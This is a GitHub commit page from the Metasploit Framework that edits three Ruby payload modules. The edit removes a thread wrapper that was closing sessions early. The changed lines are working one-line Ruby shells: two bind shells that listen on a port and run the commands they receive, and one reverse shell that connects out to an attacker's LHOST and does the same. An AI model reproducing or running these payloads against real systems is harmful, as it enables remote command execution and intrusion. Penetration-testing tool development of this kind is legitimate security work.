Skip to content

Commit e05f4ba

Browse files
author
HD Moore
committed
Thread wrappers were causing instant session closure
1 parent 1e94b09 commit e05f4ba

File tree

3 files changed

+3
-3
lines changed

3 files changed

+3
-3
lines changed

modules/payloads/singles/ruby/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,6 @@ def generate
3535
end
3636

3737
def ruby_string
38-
"Thread.new{require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end}"
38+
"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
3939
end
4040
end

modules/payloads/singles/ruby/bind_tcp_ipv6.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,6 @@ def generate
3535
end
3636

3737
def ruby_string
38-
"Thread.new{require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end}"
38+
"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
3939
end
4040
end

modules/payloads/singles/ruby/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,6 @@ def generate
3737
def ruby_string
3838
lhost = datastore['LHOST']
3939
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
40-
"Thread.new{require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end}"
40+
"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
4141
end
4242
end

0 commit comments

Comments
 (0)